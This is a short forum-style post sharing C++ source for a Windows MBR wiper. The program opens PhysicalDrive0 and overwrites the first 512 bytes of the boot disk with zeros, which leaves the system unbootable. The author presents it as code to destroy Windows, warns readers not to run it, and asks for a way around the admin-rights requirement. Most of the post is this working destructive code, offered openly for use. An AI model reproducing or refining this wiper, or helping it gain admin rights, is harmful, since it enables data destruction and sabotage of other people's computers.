I share with you a small source which allows to destroy a windows that I wrote. More precisely, this code will rewrite the first section of the hard drive (the one that allows booting).
DO NOT LAUNCH IT ON YOUR PC.😭
EDIT: I forgot to specify, the software must have admin rights. If you have a solution for this comment!...
DO NOT LAUNCH IT ON YOUR PC.😭
Code
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
DWORD write;
char mbrData[512];
ZeroMemory(&mbrData, (sizeof mbrData));
HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
if(WriteFile(MasterBootRecord, mbrData, 512, &write, NULL) == true){
cout << "Succes !" << endl;
Sleep(5000);
ExitProcess(0);
}
else {
cout << "fail" << endl;
Sleep(5000);
ExitProcess(0);
}
CloseHandle(MasterBootRecord);
return EXIT_SUCCESS;
}
